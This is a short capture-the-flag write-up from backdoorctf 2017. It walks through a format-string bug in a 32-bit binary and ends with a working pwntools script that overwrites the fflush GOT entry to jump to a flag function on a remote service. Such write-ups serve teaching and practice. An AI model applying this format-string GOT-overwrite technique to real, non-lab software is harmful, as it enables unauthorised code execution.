backdoorctf 2017 - BABY 0x41414141 Writeup

by andreafioraldi
September 24, 2017

Executing the binary for the first time we have this behaviour:

Ok, cool, decompile it.

This is the main function:

Note: edata is in .bss and it is stdin

Immediatly we see the dumb printf(&format) call. Format string exploit? Yes.

After the vulnerable printf there is a fflush call, so i choose to overwrite its entry in the GOT.

In the functions list we can see the flag(void) function:

Now we must write an exploit to overwrite the fflush entry with the address of flag.

Because the flag address is a really big number i decided to split the format string in two write steps.

Above all we must locate the printf’s parameter index corrispondent to the first 4 bytes of the buffer:

We try AAAA %{INDEX}$p with various indexes, and finally we get that with AAAA %10$p the program prints 0x41414141.

In the exploit we must write the last 2 bytes of the flag’s address to the fflush got entry and the first two bytes to the got entry +2.

Remember that %n writes always 4 bytes.

Adjusting the number of printed chars to fit the flag address we have the exploit.


from pwn import *

flag_func = 0x0804870B
fflush_got = 0x0804A028

off1 = 0x870B - 8 - len("Ok cool, soon we will know whether you pwned it or not. Till then Bye ")
off2 = (0x0804 - 0x870B) & 0xFFFF

format = p32(fflush_got) + p32(fflush_got +2) + "%" + str(off1) + "c%10$n%" + str(off2) + "c%11$n"

#p = process("./32_new")
p = remote("", 9035)

print p.recvline(False)


print p.readall()